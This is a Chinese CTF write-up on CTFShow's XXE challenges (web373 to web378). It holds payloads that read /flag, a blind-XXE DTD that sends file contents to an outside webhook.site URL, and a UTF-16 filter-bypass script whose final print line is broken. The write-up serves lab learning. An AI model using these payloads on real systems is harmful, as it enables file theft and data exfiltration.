CTFShow-XXE

web373

详细代码解析

php 复制代码
error_reporting(0);
不返回报错
libxml_disable_entity_loader(false);
不禁止xml实例加载器
$xmlfile = file_get_contents('php://input');
接收post请求的body原始内容,当服务端需要接收 XML、JSON、二进制流等非表单数据时,php://input 是唯一选择。
(`$a=$_POST['param'];`这样的只能接收键值对形式的数据)
if(isset($xmlfile))
检查是否存在 $xmlfile 
$dom = new DOMDocument();
创建实体化DOMDocument类用于解析XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
解析xml内容,LIBXML_NOENT强制解析外部插入的参数,LIBXML_DTDLOAD允许解析DTD
$creds = simplexml_import_dom($dom);
把xml解析过的dom内容转换为xml实体
$ctfshow = $creds->ctfshow;
从这个实体中的子元素中提取一个叫ctfshow的子元素复制到$ctfshow

直接上传xml的payload

xml 复制代码
<!DOCTYPE test [<!ENTITY Yv SYSTEM "file:///flag">]>
<test><ctfshow>&Yv;</ctfshow></test>

web374(无回显XXE|Blind XXE)

这里我们发现这是无回显的

没找到ctfshow内网攻击机

我们这里用:
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

创建shell.dtd开放端口

xml 复制代码
//shlle.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/8bc6785d-8958-4a2e-8af2-8185de955e0c/?flag=%file;'>">
%int;
%send;


//payload
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "https://pastebin.com/raw/JyXC4bCq">
    %remote;
]>


web375

依旧
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

之前的payload秒了


web376

和上题正则匹配一个东西,但是这次不分大小写,反正之前的payload没有被过滤的东西

直接之前的payload秒了

web377

这次正则匹配多了一个http

可以用16进制绕过或是别的协议访问

但是用别的协议要满足两个条件:

  1. 靶机要支持该协议
  2. 攻击机要支持被该协议访问

这里没办法,没有找到内网可以控制的肉机,自己开个网站成本太高了,在线的基本只支持https

就用16进制绕过

python 复制代码
import requests
url = 'https://9662db2b-49f7-4770-ab7b-f708c47aa7d5.challenge.ctf.show/'
payload = '''<!DOCTYPE ANY[
<!ENTITY % xxe SYSTEM "https://pastebin.com/raw/JyXC4bCq">
%xxe;
]>'''
# 关键:UTF-16 编码绕过 http 过滤
response = requests.post(url, data=payload.encode('utf-16'), verify=False)
print(data=payload.encode('utf-16'))

web378

没什么过滤

直接包含一下flag文件就可以了

相关推荐
酿情师5 天前
2026平航杯倩倩手机逆向包逆向全过程(逆向鸿蒙系统app包)
华为·智能手机·harmonyos·逆向·ctf·re·取证
其实防守也摸鱼5 天前
ctfshow--Crypto(crypto1-14)解题步骤
java·开发语言·网络·安全·密码学·ctf·ctfshow
Chen--Xing6 天前
NSSCTF -- [tangcuxiaojkuai] -- easy_factor
ctf·writeup·nssctf·crypto
Chen--Xing7 天前
NSSCTF -- [tangcuxiaojkuai] -- easy_mod
ctf·writeup·crypto
其实防守也摸鱼8 天前
CTF密码学综合教学指南--第九章
开发语言·网络·python·安全·网络安全·密码学·ctf
蒲公英eric9 天前
攻防世界 misc题GFSJ0963-【pcap1】
ctf·misc·流量分析·攻防世界
其实防守也摸鱼11 天前
CTF密码学综合教学指南--第四章
网络·笔记·安全·网络安全·密码学·ctf
其实防守也摸鱼12 天前
CTF密码学综合教学指南--第一章
网络·安全·网络安全·密码学·ctf·法律
其实防守也摸鱼12 天前
CTF密码学综合教学指南--第二章
开发语言·网络·python·安全·网络安全·密码学·ctf